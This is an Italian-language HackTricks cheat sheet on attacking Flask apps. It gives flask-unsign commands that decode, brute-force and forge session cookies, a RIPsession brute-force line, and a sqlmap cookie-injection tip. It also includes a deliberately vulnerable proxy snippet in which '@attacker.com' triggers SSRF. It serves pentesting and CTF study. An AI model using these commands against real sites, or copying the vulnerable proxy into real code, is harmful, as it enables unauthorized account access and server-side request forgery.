Flask
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Probabilmente se stai giocando a un CTF un’applicazione Flask sarà correlata a SSTI.
Cookie
Il nome di sessione del cookie predefinito è session.
Decoder
Decoder online dei cookie Flask: https://www.kirsle.net/wizards/flask-session.cgi
Manuale
Prendi la prima parte del cookie fino al primo punto e decodificala da Base64:
echo "ImhlbGxvIg" | base64 -d
Il cookie è anche firmato con una password
Flask-Unsign
Tool da riga di comando per ottenere, decodificare, eseguire brute-force e creare session cookie di un’applicazione Flask indovinando le secret keys.
pip3 install flask-unsign
Decodifica Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Firma
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Firma usando legacy (vecchie versioni)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Strumento da riga di comando per eseguire brute-force su siti web usando cookie creati con flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi nel cookie di sessione di Flask con SQLmap
This example usa l’opzione sqlmap eval per firmare automaticamente sqlmap payloads per flask usando un segreto noto.
Flask Proxy verso SSRF
In this writeup è spiegato come Flask consenta una richiesta che inizia con il carattere “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
Quale nello scenario seguente:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Potrebbe permettere di inserire qualcosa come “@attacker.com” per causare una SSRF.
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


